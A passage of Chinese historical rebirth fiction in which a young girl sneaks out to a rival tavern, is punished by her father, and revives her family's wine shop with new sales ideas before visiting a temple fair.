“兄长没个人样,嫂子却是个不错的人,就是太逆来顺受了些。”丽娘轻轻拍了拍崔显的肩膀,劝道,“咱们要是不帮嫂子这一回,他们指不定又要怎么搓磨她。”
“是我考虑不周。”崔显有些愧疚,“劳娘子费心。”
“堂兄与小二哥挤一起吗?”崔蘅不喜欢这个爱欺负她的堂兄,皱起眉,“能不能让他去外面住?”
丽娘摸了摸女儿的小脸,低声哄道:“让你堂兄去外面住废银钱,等他来了,便委屈些阿蘅多在你谢哥哥那里待待,择鱼宴一结束,阿娘便送他走好不好?”
这还是崔蘅第一次在阿娘嘴里听见“废银钱”三个字,以往只要是有关钱的事,阿娘从没有犹豫过,看来家里的状况确实不太好了。
崔蘅乖乖地点了点头:“阿蘅听阿娘的。”
饭后,两个孩子进了书房,丽娘与崔显在灶房收拾碗筷,愁眉不展。
“酒馆已经连续半月收支赤字了,在这样下去挺不住的。”
崔显将洗净的碗放到架子上,温声安慰:“我的月钱足够咱们一家衣食无忧,娘子莫要因此太过忧心。”
丽娘叹了口气:“我原是想将这酒馆好好开下去,以后给阿蘅出嫁带走,这下子看来只能另外想办法给她凑嫁妆了。”
“阿蘅还小,不用着急,咱们慢慢给她攒就是。”崔显垂眼看着漂浮着的水瓢,斟酌着道,“说起嫁妆,我想起曾经与老友的一个约定,是关于阿蘅婚事的……”
“不行,我一定要帮阿娘想到办法!”
书房里,崔蘅忽然从桌子上爬起来,在屋子里来回踱步。
“丽姨怎么了?”谢令闻搁下笔,望向眉头紧皱的小娘子。
“就是近日酒馆生意不太好,没什么大事。”
崔蘅怕最近一直在崔家吃饭的谢令闻多想,没有多说便转开话题,“下个月福安寺也将举办庙会,庙会后便是择鱼宴了,宏德书院届时会歇课,我记得阿爹向来会在庙会前开始休沐,谢哥哥那若是也不去书院,可以陪我一起去庙会玩吗?”
谢令闻没有立刻答应,“每年庙会都会走失几个孩子,不安全。”
“谁敢抓我!”崔蘅撸起袖子,威风凛凛地超前“喝喝”出了两拳,“我的拳头可不是面团捏的!”
谢令闻并未因此松口,垂眼继续写字,淡淡道:“还是禀报过丽姨崔叔再做决断。”
崔蘅耷拉下脑袋,气哄哄地躺倒在地上,面上瞧着满是不服气,心里却已经想好了到时候如何偷偷跑出去玩儿。
听闻福安寺的老方丈上知天文下知地理,她想去问问有没有能将身体换回去的办法。
反正这个庙会一定要去,谢令闻不陪她,她便自己一个人去。
19.走失
第二天晌午,趁着丽娘还在做饭,崔蘅偷偷跑出了门。
大街上正热闹,各处食肆酒馆前熙熙攘攘,皆是用饭吃酒的客人。
她这么一个小孩子进去定是要被赶出来的,崔蘅站在街上想了半天也没想出进去的法子。
她围着酒馆绕了一圈,走到侧面时,看见一个身穿玄色氅衣的中年男子正独坐饮酒。
他衣着朴素,以木簪束发,戴网巾,身边没有仆从和侍卫,瞧着并不富裕。
“叨扰丈人,请问可以给小女一点酒尝尝吗?”
男子被她的声音扯回思绪,左右环视了一圈,却没找到人,正疑心自己听错了,却见窗台上忽然出现一只嫩生生的小手,下一瞬,一颗圆圆的脑袋便窜了出来。
小娘子上来的似乎有些费劲儿,脸蛋憋得红彤彤的,咬着后槽牙,似乎连颊边的肉都在用力。
“丈人,可以给小女一些酒尝尝吗?”她又重复了一遍,举着手里的荷包道,“我可以给钱。”
“你想喝酒?”他对这突然冒出的小娘子很感兴趣,笑着问,“你阿娘知道吗?”
崔蘅摇了摇头,非常诚恳地道:“我阿娘不知,但我只尝一点,阿娘不会生气的。”
男子生得温润,笑起来如沐春风:“那你要进来吗?”
他朝崔蘅伸出手,却被拒绝,小娘子认真地道:“我可以自己进去。”
说罢,她扣紧窗栏,一只足尖踮起,另一只蹬着墙爬上了窗台。
脚腕上坠着的土包勒得她生疼,崔蘅咬着牙,用不太雅观的姿势一跃而下。
“好厉害的小娘子!”男子拊掌而笑,邀她坐下,“敢问小娘子芳名?”
“我叫阿蘅。”崔蘅擦了擦脸上的汗,先行了个女礼,才端正地坐下,“敢问丈人姓名?”
“好友都称我为齐公,小娘子也可如此唤我。”
齐公明显不想透露自己的真实姓名,崔蘅便也识趣地没有细问。
“齐公,幸会。”
她年纪小,声音长相皆未脱稚气,做事却带着几分老成,这两种矛盾的气质在她身上并不显得奇怪,反而让人觉得十分稀奇。
齐公眼里噙着笑,也道:“阿蘅,幸会。”
屋子里飘满了酒香,混杂着一旁香炉里散发出的香气,让人嗅着都似乎要醉了似的。
“阿蘅,你想尝哪个酒?”齐公指了指桌子上的酒壶,“这是这家店很有名的蜜酿,味甘,后劲也不大,你可以试试。”
“那我先尝尝这个。”
崔蘅起身倒酒,却被他拦住。
“稍等。”齐公笑道,“小娘子年纪小,又是女儿身,岂可这般饮酒?”
他让店小二拿了双筷子来,蘸了些酒递给崔蘅,“如此,既不伤身,也防酒醉。”
这样以箸蘸酒一般是用来逗孩子的,可无奈崔蘅自己如今就是一个半大的孩子,她只好接过筷子,用舌尖舔了舔。
“阿蘅觉得如何?”齐公问。
“气香,味甘,无辛辣之感,尚可。”
崔蘅咂巴一下嘴,疑心是自己尝错了。
这家酒馆自开业来便来客如潮,可这酒却并不出众,甚至还不如崔家的酒入口醇绵。
她又蘸了些酒,依旧没能尝出什么不同。
“奇怪……”崔蘅放下筷子,喃喃自语。
到底是什么原因,能让百姓接二连三地拜访这家并不出众的酒馆呢?
齐公也给自己倒了杯酒,却只是浅酌一口,“阿蘅喜欢这酒吗?”
崔蘅摇了摇头:“不喜欢,我家酿得酒比这酒好喝。”
“哦?”齐公被她逗笑,十分捧场地问,“那你家在何处?我闲时一定要去尝尝。”
“就在南边柳巷前,我家酒馆是木门,木门上挂着红幡,红幡上我阿爹写了个’酒’字。”小娘子脆生生地道,“齐公看见哪个挂幡上的字最好,那便是我家。”
“好,我记住了。”齐公笑呵呵地点了点头。
“阿蘅还想请齐公帮个忙。”崔蘅把荷包拿出来放到桌上,“您可以多叫来几种酒给我尝尝吗?这些钱都给您。”
“倒是个嘴馋的小娘子。”齐公把荷包推回她面前,和蔼地道,“这钱还是给小娘子留着买胭脂罢,几壶酒我还买得起。”
他吩咐店小二多上几种酒,起身拂了拂袍子,“阿蘅先尝着,我去更衣,稍后便回来。”
崔蘅乖乖应了。
酒馆热闹非凡,齐公并未远去,只在楼上栏杆前站着,一人与他擦肩而过,两人目光相撞,见对方轻轻摇了摇头,他的面上依旧带笑,一双眼睛却沉了下去。
他回身推开包间的门,室内的酒气扑面而来,粉衣小娘子趴在桌子上毫无声响,手里还攥着竹箸。
“阿蘅?”
齐公叫了几声,小娘子依旧背对着他,没有动静。
他走近去瞧,却见她双颊坨红,睡得不省人事。
初秋的午后尚有些炎热,太阳高悬在苍穹之上,天空万里无云,万物寂然。
丽娘做好了女儿爱吃的羊肉手擀面,推开房门去寻女儿,房内却空无一人。前厅后院都找遍了,也不见崔蘅的影子,就连谢家都没有。
她心里越来越慌,连忙出门去寻。
“许大嫂,你今日见过阿蘅吗?”
“张叔,你有没有见阿蘅朝这边来?”
“孙娘子,阿蘅来你这里过吗?”
“苏伯……”
所有人都摇头,没人见过阿蘅。
丽娘浑身发软,又想起她很久没有再做的噩梦。
那年春雪漫天,她九死一生产下自
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己十月怀胎的女儿,只匆匆看了一眼,孩子便被抱走。
稳婆再进来,两手空空,告诉她孩子夭折了。
丽娘不信,她拽着稳婆歇斯底里地问孩子在哪儿,争执间摔下榻,门帘在这时被掀开,春雪洒进屋内,落了一片白,一双乌金皂靴跨过门槛,停在她面前。
男人一身暗红色长袍,眉眼冷锐,睥睨着她,面无表情。
“孩子……求你……”丽娘竭力爬起来,拽着他的袍角,哽咽得说不出话。
“梦然很喜欢那个孩子,你大可放心。”他眼眸幽深,低声道,“你该明白,女儿跟着曾是卖唱女的母亲没有好处,她以后是府中的女公子,金尊玉贵,锦绣围绕。”
“阿絮,莫要不知好歹。”
丽娘的眼泪止不住地流,将下唇咬出了血,片刻后慢慢松开手。
她妥协了。
男人示意下人将她扶上榻,转身就要离开时,手忽然被轻轻握住。
这些年来无论如何都拒绝他触碰的女人头一次又露出柔弱的一面,弯下头颅,露出细白的脖颈,牵着他的手,轻声说:“叫她阿蘅吧,这是妾想了很久的名字,求郎君应允。”
男人微微偏过头,触及她空洞的双眼,喉咙滚动,倏地抽回手。
“府中女娘的名字应由主母与我来定,你一个外室无权干涉。”
手腕无力地垂下,眼前只有他毫不留情离去的背影。
此后经年,一直到死,丽娘都没能再见到女儿一面。
她以为自己已经改变事情的结局,她以为自己终于过上好日子。
……老天就非要如此戏弄她吗?
谢令闻与崔显赶到时,丽娘已经强撑着将附近找了一圈。
“娘子,阿蘅有消息吗?”崔显面上虽然镇定,袖子下的手却也在止不住地发颤。
丽娘摇了摇头,嗓音沙哑不堪:“没有,我到处都问过了,没人见过她。”
谢令闻紧紧皱着眉,没敢再耽搁,“丽姨,崔叔,我先去安平坊附近看看。”
“你先去吧,我往家那边再找找。”
崔显紧紧握住丽娘的手,不敢离开她半步。
他知道女儿在她心底的分量有多重,若是阿蘅有了三长两短,丽娘怕是也会立马追随而去。
暮色低垂,太阳已经西斜,谢令闻越走越仓促,脑子里满是她惊恐的表情,挥之不去。
她若是真遭遇危险了该怎么办?她若是受到伤害该怎么办?
谢令闻的呼吸越来越急促,他像溺水一般,竭力汲取空气。
街边传来车轮滚动的声音,谢令闻下意识抬眼望过去。
马车驶过,车帘被风掀起,他在刹那间看见小娘子乖巧的睡颜。
谢令闻提步冲过去,几乎没有任何思考地扑向马车。
20.家法
崔蘅醒来时脑子还有些懵,四肢软趴趴的,像被卸了骨头。
屋子里一片漆黑,伸手不见五指,四四方方的窗户框出一小片夜色,繁星点点,隐约能听到屋外打更人的梆子声。
这是她自己的寝房,可怎么回来的,崔蘅没了半点记忆。
她只记得自己在齐公走后便继续以箸沾酒品尝,尝到某一样时便没了意识。
那酒的后劲竟如此大。
崔蘅下了榻,刚站起身,门便忽然被自外推开。
谢令闻端着托盘迈进来,微弱的月光照在他脸上,原本便清冷的眉眼更显冷然。
“谢哥哥,我阿爹阿娘呢?”崔蘅朝托盘上看了一眼,嗅到萝卜的味道,摸摸肚子,笑嘻嘻地道,“刚巧我有些饿了,这是阿娘给我留的晚食吧?”
“是醒酒的沆瀣浆,不是晚食。”谢令闻垂眼放下托盘后便转身朝外走。
“沆瀣浆?我真的醉了?谢哥哥知道是谁把我带回来的吗?”
崔蘅叫了好几声,谢令闻头也没回。
她皱起眉,趿着鞋朝前追,方迈出门,便见崔显面若冰霜地看着她,看样子已经在门口等了很久。
而谢令闻垂眼站在一侧,依旧没有要搭理她的意思。
“阿爹?”崔蘅察觉出不对,这还是阿爹第一次用这种眼神看着她,“我吃醉酒给家里闯什么祸了吗?”
“你若真是闯什么祸便罢了。”崔显淡淡地看了她一眼,“令闻,去把书房里的戒尺拿来。”
这便是要请家法的意思了。
“阿爹,我出去的是想看看前街新开的酒馆为何比咱们家受欢迎,没想到他们家的酒会如此醉人。”崔蘅心知躲不过这劫,垂着头,低声说,“我只是不想看阿娘为家里生意焦急。”
谢令闻看她一眼,抿了抿唇,也轻声帮她辩解:“崔叔,她知道错了。”
“你看她哪里像知道错的样子!她只会恼怒中间出纰漏让我们知道了此事!”知女莫若父,崔显气极,指着崔蘅道,“一个酒馆算什么?你若是出事,家里便是有成千上百个生意红火的酒馆又有何用!?”
他转身自己去取了戒尺。
“跪下!”崔显毫不留情,“手伸出来。”
崔蘅提裙跪下,将手举过头顶。
一板子下去,小娘子白嫩的掌心立马浮现出一道红痕。
谢令闻眉头紧蹙,垂下眼不再看。
“不仅偷跑出去,还敢与外人一起饮酒,胆大包天!”
“你可知那人是何身份!?”
又是一板子下去,掌心火辣辣的痛,崔蘅咬着牙,不服气地道:“我知道,他是青州新任抚州齐言宗,曾在安阳越明任知县,为人正直、为官清廉,不会害人。”
崔显露出几分惊诧,手上的动作却没停。
戒尺狠狠落下,小娘子的眼睛里闪出些泪花,他依旧声音冷硬:“自作聪明!你所知的皆是听外人道也,他为人如何,只有他自己清楚,你用什么保证他不会害你?”
前世,齐言宗官至青州抚州,四皇子自立为王后从申州向上京去,一路拿下岭州、川孰、泊州,到青州时,青州抚州齐言宗誓死不降,带领百姓抵抗足足二十一天。
城破后,四皇子逼他称臣,他坚称自己不跪乱臣贼子。四皇子恼怒之下命手下拿他当活靶,而浑身上下被箭矢扎满的齐言宗竟真的到死都站着,似一座永不会坍塌的丰碑。
崔蘅在酒馆外看到他时便觉得眼熟,又看到他袍子下只有官员才可穿的皂靴,稍稍一推算,便知他是齐言宗。
一个如此忠心、爱国爱民的人,便是到穷途末路也不会生起害人的心思。
可前世的事,她说出去也不会有人相信。
崔蘅知道崔显的脾气,他吃软不吃硬,若是再犟下去,只怕他会更生气。
“阿蘅不能担保,阿蘅知错了。”崔蘅抬起红了一圈的眼睛,委屈地道,“阿爹能不能别打了,让我去看看阿娘罢。”
她话音方落,身侧一直紧闭的房门就忽然被打开,丽娘看着跪在地上的崔蘅,轻轻叹了口气:“算了,起来吧。”
崔显朝崔蘅使了个眼色,崔蘅便立马爬起来跟着丽娘进了屋子。
“阿娘,我知道错了,我以后一定不偷偷跑出去玩了。”崔蘅亦步亦趋地跟着丽娘。
“阿娘看见你完好无损地回来便不生气了。”丽娘摸了摸她的侧脸,“想出去玩便出去,只是要让我知道你去了哪里,阿娘看不见你会着急,知道吗?”
崔蘅乖乖点头:“阿娘,我以后都听话。”
她知道自己有错。
毕竟崔蘅是崔家唯一的孩子,若是她有个三长两短,不敢想崔家夫妇该怎么活下去。
丽娘红着眼将她搂进怀里,崔蘅闭上眼睛,享受这一刻不属于她的温馨。
夜色幽凉,灯火莹莹,谢令闻拿了药来,半蹲在崔蘅面前,一点点将药粉洒在她的伤口上。
他这几日在崔家用饭,却还是没有长出肉,侧脸瘦削,剑眉藏锋,垂目专注做事时敛下鸦羽般的长睫,似池中冷月。
动作间,发丝垂下,蹭过崔蘅的手腕,有些痒,让她轻轻颤了颤。
“疼?”谢令闻停
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下,抬起漆黑的眼睛望向她。
“谢哥哥的头发蹭到我了。”崔蘅伸出手,想帮他将散下的碎发理一理,却被躲开。
谢令闻放下药瓶,退到离她三步远的地方,低声道:“我自己来。”
“发带松了,要紧一紧。”
崔蘅没察觉到他的刻意闪避,站起身跟上去,谢令闻又往后退了两步,抬手去整理发带,袖子滑落,露出手臂上一片青紫。
“你受伤了!”崔蘅焦急地去掀他的衣裳。
谢令闻眼睫猛地一颤,想抽走衣袖,崔蘅却攥住他的手臂。
瘦骨嶙峋的胳膊上有一大片淤痕,瞧着十分骇人。
谢令闻怕吓着她,掩下衣袖,低声道:“没什么大碍。”
“分明很严重,哪里像是没什么大碍的样子!”崔蘅又急又气,小心地将他的衣袖折上去,找来药油为他擦伤。
她的体温和药油一起敷在皮肤上,忽凉忽热,很奇怪的感觉。
谢令闻忍不住道:“我自己来吧。”
“你自己怎么把淤血揉开!?”小娘子责备地瞪了他一眼,继续为他用药油化淤,“是找我时伤得吗?”
“不是。”谢令闻抿起唇,看着她圆圆的脑袋,想起刚找到她时的场景。
齐言宗解释了缘由后,谢令闻便借了他的大氅,正裹着她,她却忽然睁开眼睛。
“……阿蘅?”
小娘子歪了歪脑袋,盯他半晌,突然笑了:“谢令闻,你怎么变那么多呀?”
谢令闻没在齐言宗面前理这个醉鬼,将她放到背上。
背她回家的路上,她一路都在絮絮叨叨地说话。
“谢令闻,我好累啊,你好厉害,做那么多事都不觉得累。”
“谢令闻,你的手伤好了没有呀?”
“谢令闻,你的背好硌得我好痛。”
“谢令闻,谢谢你帮我盖衣裳。”
“谢令闻,你是不是很讨厌我呀?你都不愿意和我说话,永远冷冰冰的。”
谢令闻小心翼翼地背着她,没让自己碰到她的肌肤半点,被马蹄踏伤的胳膊在她的絮语下竟都不觉得痛了。
“累了便歇歇,我不厉害。”
“手伤已经好了,帕子也洗干净了。”
“抱歉。”
“衣裳是齐抚州的。”
“不讨厌你。”
“没有不愿意,很想……和你说话。”
少年郎与少女的身影被夕阳无限拉长,黄昏铺了满路,天空晕染上酡红,赤色、金色与黄色混杂在一起,像夏和秋一起冲进春天。
21.花猫
由于有了昨日之事,丽娘不许崔蘅再自己待着,便把她放在酒馆里看店,让小二盯梢。
屋外马蹄声阵阵。
择鱼宴即将到来,申氏已经开始着手准备,府城来往的商队车马也多了起来。
崔蘅在柜台上放了本书随便翻。
她昨夜没睡好,又做了许多前世与今生交杂的梦,瞧着萎靡不振的。
“小娘子!”
门外传来一声吆喝。
崔蘅循声望过去,只见一个穿着粗布短打的车夫满头大汗地对着她笑,“我急着出城,能否给我端一碗酒解渴?”
“劳您稍等!”
崔蘅连忙取了个大碗倒满酒,双手捧着出去。
车夫接过碗,如牛饮水,将酒一饮而尽。
“好酒!”他爽快地掏出一把钱递给崔蘅,“这是酒钱,剩下的便给小娘子买些胭脂。”
哒哒的马蹄声远去,崔蘅看着碗,又看了看手里的钱,脑中猛地窜出一个点子。
“小二哥,你能帮我搬两个桌子到门口吗?”
小二摆好两个桌子,见崔蘅正在架子上挑酒,不仅有些疑惑:“小娘子想干什么?”
“试试在门口卖酒。”崔蘅拿下来几坛酒,全抱去门外,又在旁边架了个炉子,用来温酒。
她拿了蒲扇,将火扇得越来越烈,火舌舔着酒罐,不一会酒水便沸腾起来,散发出浓厚的酒香。
崔蘅趁热打铁,开始朝街上吆喝:“都来瞧一瞧看一看嘞!刚热好的酒!一口驱寒,两口回暖,三口赛神仙!”
不少过路人都被酒香勾得走不动路,纷纷围上来问崔蘅怎么卖。
“一碗酒三文,两碗五文,进店花费十文以上的,给您送花生米下酒!”
众人一听崔蘅的话,皆争先恐后地进了店,还剩一些急着赶路的,要崔蘅赶紧倒酒,他们吃完便走。
崔蘅这边忙得热火朝天,店小二也在店里忙得脚不沾地。
丽娘自后院回来,看到店里熙熙攘攘坐的全是人,还以为自己眼花了。
有人不满地喊道:“老板!不是说花十文就送花生吗?我这都吃十五文钱的酒了,怎么还不见花生的影子!”
丽娘疑惑地望向店小二。
店小二忙得满头大汗,解释道:“咱们小娘子说的,一碗酒三文,两碗酒五文,来店里花十文钱以上的送花生下酒。”
丽娘在心里一瞬间就把帐算清了,她连忙去抓花生,喜不自胜:“花生来了,您慢用!”
崔蘅还在屋外忙着倒酒收碗,没有进店的大多是商人摊贩,站在门口吃完了酒便走,快得很。
忙到日头快要落下,在门口吃酒的人才算招待完。
丽娘和店小二还在忙着招呼店里的客人,崔蘅没敢歇,将碗摞起来拿进厨房洗。
今日店里所有的碗都被搬出去了,连崔显吃饭用的碗都被丽娘拿来给了客人用。
酒馆好久没有如此盛况,丽娘敲着算盘,乐得合不拢嘴。
“阿蘅,碗留着阿娘洗,你去歇歇吧。”
天逐渐凉了,丽娘舍不得女儿的手泡冷水。
“我就洗完了阿娘。”崔蘅没觉得累,反而干劲十足。
她将最后一个碗放好,擦干手出了厨房。
店里还有零星几个客人,屋子里飘着酒香和肉香,崔蘅便将窗子推开通风。
“老板,剩下的酒能装我的酒壶里带走吗?”一个酒客预备离开。
丽娘还没来得及开口,崔蘅便赶忙道:“我们每个贵客都有贴上名字的专属酒坛,可储存剩余的酒,以便下次来的时候继续饮用。”
“看您是熟面孔,我们便也赠您一个专属酒坛,想要带走或是留下都随您的意。”
如此不仅能方便酒客,还能提高酒馆的回头率。
“这倒是新奇。”酒客看自己剩的酒还有许多,笑道,“那就劳烦娘子将酒一半存在店里,一半装进我的酒壶里。”
“您客气。”崔蘅让小二帮客人装酒,自己拿提笔铺纸,“请问您贵姓?”
酒客报了自己的名字,看崔蘅认真地写字,对丽娘惊叹:“老板,你这女儿是个厉害的,以后大有可为啊。”
“您过奖,这孩子打小就鬼点子多。”
丽娘嘴上谦虚着,眉眼间却溢满了骄傲。
她女儿就是厉害,其她小娘子还在学着看账本呢,她就能用三言两语盘活整个店,便是那些与她年龄相仿的小郎君,也没有再比她能干的!
夜幕低垂,天色黯淡下来,客人终于散尽,酒馆又重归寂静。
没什么事儿可忙了,崔蘅便拿了个番薯埋进门口已经灭了火的炉子下。
她拿着火钳蹲在炉子前挑柴灰,想看看番薯烤得怎么样,忽然一阵风刮过来,柴灰扑了她满脸。
崔蘅呛得咳了两声,随手抹了把有点痒的脸,废好大劲才翻出黑乎乎的番薯。
“这是谁家的小花猫啊?”
耳边响起熟悉的声音。
崔蘅抬头望过去,见崔显和谢令闻正从街那头过来。
“阿爹!谢哥哥!”崔蘅晃了晃手里
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的番薯,兴高采烈地道,“我烤了番薯,你们要尝尝吗?”
崔显忍着笑,无奈地摇了摇头。
“谢哥哥吃吗?闻着好香的。”崔蘅极力邀请。
小娘子白嫩的脸上黑乎乎一片,鼻头上也被蹭了一个黑点,此时双眼亮晶晶地看着他,像极了小狸奴。
谢令闻的唇角浅浅弯了弯,将番薯接过来,“脸上有东西。”
“什么?”崔蘅擦了把脸,瞧见手背一片漆黑,才明白阿爹为何叫她小花猫。
她微窘地挠了挠脑袋:“都怪那阵风。”
屋内灯火昏黄,崔蘅刚洗完脸,额前的碎发还带着些湿气,坐在凳子上翘着脚用调羹挖烤番薯吃。
崔显听丽娘和店小二说了今日之事,高兴得不知怎么办才好,直说自己女儿是惊世之才。
崔蘅被夸得十分自得,现下头都要仰到脖子后面去了。
谢令闻刚帮她剥好番薯皮,正拿帕子慢条斯理地擦着手,看她这副样子,也不禁翘起唇角。
“谢哥哥尝尝,这个好甜。”
崔蘅挖出一勺递到他唇边。
这是她用过的调羹。
谢令闻耳根有些发热。
“我不爱甜食。”他喉咙滚动,轻声拒绝。
“好吧。”崔蘅没再坚持,把金黄绵软的番薯肉送进嘴里,满足地眯了眯眼睛。
谢令闻看着小娘子摇头晃脑的模样,指尖触到自己暗袋里早就备好的东西。
“我有东西给你。”
“嗯?”小娘子应声抬起眼,笑意盈盈,脸颊两侧漾出梨涡,“谢哥哥要给我什么呀?”
“护脚腕的布条。”谢令闻拿出来递给她,“土包很重,会勒伤你。”
上次背她回来时,谢令闻就发现她的脚腕已经被勒出印子,一不留神怕是就会伤到。
崔蘅本想自己做个护腕,没想到谢令闻竟注意到了,还特地给她送了一对。
布条摸着十分绵软,是桃粉色的,两侧还有方便系紧的带子。
她惊喜地接过来,笑容灿烂:“多谢谢哥哥!”
她笑得总如烈阳,就算在寒冬也能灼伤人一般。
“嗯。”
谢令闻移开眼。
月色如练,繁星似海,夜色安静又温柔。
小窗中散着忽明忽暗的烛光,少年郎与少女的影子投在窗上,一高一矮,莫名和谐。
“谢哥哥,你从哪里买的这布条呀?棉花塞得不均匀,走线也好歪,下次不要去那家店了。”
“……嗯。”
22.庙会(一)
深秋已至,甜柿挂枝头,一盏盏似灯笼,映红半边天。
崔蘅在屋外搭了个更大的炉子,炉上热酒,炉下烤番薯,崔家门口每天都围着许多大人小孩,生意比以往的任何一年都要红火。丽娘给店小二涨了工钱,还盘算着再请一个人来帮衬。
旁人听丽娘说这些都是崔蘅的主意,皆惊叹不已,夸崔蘅聪慧,还有的已经起了心思,要给她说媒。
丽娘一一搪塞过去,只言自家女儿还小。
崔蘅倒不知道有许多人惦记上来她,她在自家的酒房中正琢磨着怎么酿出更醇厚的酒。
毕竟现在崔家的生意能好起来靠的是经营,这法子瞒不住,其他人也能如此。若真想将酒馆开好,还得靠好酒。
她记得赵檐十分喜爱饮一种酒,那酒原只是安阳特产,因特殊原因被他赐名定胜,供天子专享。
后来宫中专设御酒司,崔蘅随着赵檐前去看过定胜的酿制过程,与普通的酒无异,只是原料有些特殊。
安阳位于大周西北,是周朝与异族土地接壤的地方。
以朝山为界,朝山北是以游牧为生的各部落领土,草野无垠,雪山连绵,堪称十里不同天,一山有四季;朝南便是周朝土地,虽也多山,却四季分明,较宜人居住。
定胜酒便是取朝山雪水与最优良的稻谷、麦子与豌豆为原料,在冬日初春与冬季开酿,制出酒曲放置一段时间后入窖,在甑桶中蒸馏,掐头去尾取中间,酿出的酒口感醇绵,香气扑鼻。
民间酒馆酿酒的方法倒不会出错,只是在用料与火候上不会太精准,很多酒馆为了省时,还会直接拿酒头卖。
崔家的酒皆由丽娘一手酿制,酿制手法与崔蘅在宫中看到的一般无二,只是苦于没有好料好窖与好水,酒也只能称中上。
去哪里弄来好原料呢?
崔蘅一直想到晚饭端上桌,也没什么头绪。
今日崔显和谢令闻没有回来用饭,书院正为择鱼宴忙碌,没过几天便要休沐了,近日他们回来的也晚。
母女二人刚拿起筷子,便听外头有人喊,说崔家托人来送东西了。
来的是一个拉着牛车的汉子,交给丽娘一筐菘菜和一筐荠菜,还有零散的几个鸡蛋鸭蛋,外加一条黑鱼。
“陈娘子托我给捎过来的,说这些菜给娘子尝个鲜,鸡蛋和鱼便给小娘子补补身体。”
丽娘给汉子端了碗水,又道了谢后才将人送走。
陈娘便是崔家大嫂,马上崔安便要来他们家住了,陈娘约莫是觉得不好意思麻烦丽娘与崔显,便送来这些吃食作谢。
不说别的,只这一筐荠菜都要起早贪黑挖很久。
“你婶娘多好一个人,偏生嫁到崔家。”丽娘拎着手里沉甸甸的鱼,轻声叹了口气。
“婶娘好,就堂兄最讨厌。”
崔蘅扒拉着碗,想起从前婶娘来府城办事时,总会顺道来崔家送些东西,还会给她买糖,虽然那些糖她往往吃不到,都会被堂兄偷偷抢走。
菘菜上还带着新鲜泥土,崔蘅转头问:“阿娘,咱们家有地吗?”
“咱们家在村子里有一块地,地下全是石头,拿锄头砸都砸不动。”
丽娘说起这个就来气。
当初崔老太拗不过崔显非要娶她,在她进门后摆起老太君的架子,每日都要寻个由头骂一骂她。
崔显见不得她受委屈,便主动提出分家。崔老太二话不说,将山脚下荒废的地分给了他们,崔显因此看透母亲的偏心,散尽积蓄带丽娘搬进府城。
“阿蘅问这个做什么?”
崔蘅把自己的想法挑挑拣拣和丽娘说了。
“阿蘅的意思是咱们自己种粮食?可我们没有地,买一块也要很多钱。”
崔蘅点了点头,“所以只能另外想法子。咱们家向来是去铺子里买,里面总会掺着发潮和陈旧的粮食。与其如此,不若我们自己绕过这些铺子自己去收,一来能保证粮食品质,二来也可绕过中间商,省些成本。”
丽娘沉吟片刻后望向崔蘅:“从前咱们家只挣些辛苦钱,你这是想将咱们家酒馆做大?”
“对,既要做就做大,挣了钱后我们就可以买地自己种粮食,如此一来不仅能供自家酒馆,也可卖给其他收粮食的人。”
丽娘头一次认真地观察自己女儿。
崔显前些日子说,他曾与岭州抚州裴言有恩,二人约定过以后亲上加亲。现下裴家郎君十三岁,已在乡试拔得头筹,前途无量。他有意去拜访老友,试问当年约定可还作数,以此为女儿谋个好亲事。
丽娘现下忽然觉得崔蘅压根儿不需要什么好亲事,她的这些本领若只用于后院中,那就太可惜了。
“我晚上与你阿爹商量一下,恰好他过些天休沐,我们便趁着有时间再去招人买车。”丽娘当即列出要准备的东西。
“阿娘这就要去按照我说的做了?”
崔蘅有些惊讶,丽娘竟那么相信她一个小孩子说的话。
“阿娘相信你,况且这酒馆本来就是留给你的,就该按照你的意愿来。”丽娘朝崔蘅慈爱地笑了笑,“阿蘅放开去做,不要计较盈亏,有阿爹阿娘呢。”
崔蘅笑嘻嘻地搂住丽娘的胳膊撒娇,“阿娘阿爹对我最好啦。”
待一切商讨完毕,到崔显与谢令闻休沐那日,丽娘便和崔显上街了。
家中只剩崔蘅和忙着为择鱼宴做准备的谢令闻。
他在书房看书,崔蘅在院子里拿着自己随手做的简易弓箭射叶子玩儿。
她前世喜欢用弓,在王府时,赵檐的骑射总比她差上一截。时间久了,他便不许她再用弓,赐给她一杆枪,还夸她舞枪时身姿飘逸婉转,似游龙归海,用弓反而可惜。
崔蘅虽不太喜欢用枪,但主子赏赐不能拒绝,她从此便改用了枪,以至于后来再拉弓都觉得生疏不少。
日上枝头,已经接近晌午,崔显与丽娘走时留了钱,要崔蘅和谢令闻自己解决午饭。
崔蘅扒上窗户探出头,“谢哥哥,我饿了。”
谢令闻垂眼看着书,嗓音平缓:“想吃什么?”
“听说庙会上有卖柿饼的,我想去买来尝尝。”崔蘅眨巴着眼瞧他。
柿饼哪里都有卖,非要去庙会,不过是醉翁之意不在酒。
谢令闻一顿,自书卷中抬起眼,望向眼巴巴看着他的小娘子。
“好。”他合上书,一口应下。
崔蘅挠了挠脑袋,继续道:“谢哥哥,我想自己去。”
先不说她此次去福安寺是为求自己这缕亡魂的往生之法,身边跟着人不大方便,况且他还要准备择鱼宴,若因她而名落孙山,岂不罪过?
“你不能自己出门。”谢令闻站起身,绕过书案朝外走,一副无论如何都要跟着她的架势。
崔蘅劝不动他,只好作罢。
福安寺坐落在城南郊外,离崔家算不上很远,二人一路走一路看风景,很快便听见悠扬的寺钟声。
庙会上人头攒动,柿饼摊子随处可见,谢令闻买了一包递给崔蘅,“还要去别处看看吗?”
“不去了,咱们回家吧。”崔蘅心不在焉地咬了一口柿饼,轻轻摇摇头。
“择鱼宴我有把握,你不必担心。”谢令闻站在她左侧,替她挡住来往的人流,“想玩就去玩吧。”
阳光落在他细长的眼睫上,将他乌黑的眼眸照得如琉璃般透亮,崔蘅在那里面清晰地看见自己的倒影。
“谢哥哥,你在这里等我!”小娘子认真地对他说完,转身就朝寺内跑,“我待会就回来!”
寺内很寂静,崔蘅进来便放缓了脚步。她已经打听过了,今日方丈会出门为捐赠香火钱的人亲自解签。
崔蘅将自己攒的十几文钱交给小沙弥,抬脚迈进大殿。
大殿内香烟缭绕,佛音袅袅,崔蘅端端正正地跪下,朝慈悲庄严的
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佛像磕了一个头。
额头触碰到蒲扇的一刹那,她的耳边倏然响起一道模糊的声音。
“苍天在上,神佛为证。若有来生,愿以我之不圆满,换她圆满。”
崔蘅一愣,猛地抬起头环顾四周,对上一双含笑慈和的眼睛。
“小娘子今日是特地来寻我的吧?”
禅室的房檐遮蔽住阳光,窗外的竹叶随风瑟瑟作响,一片静幽。
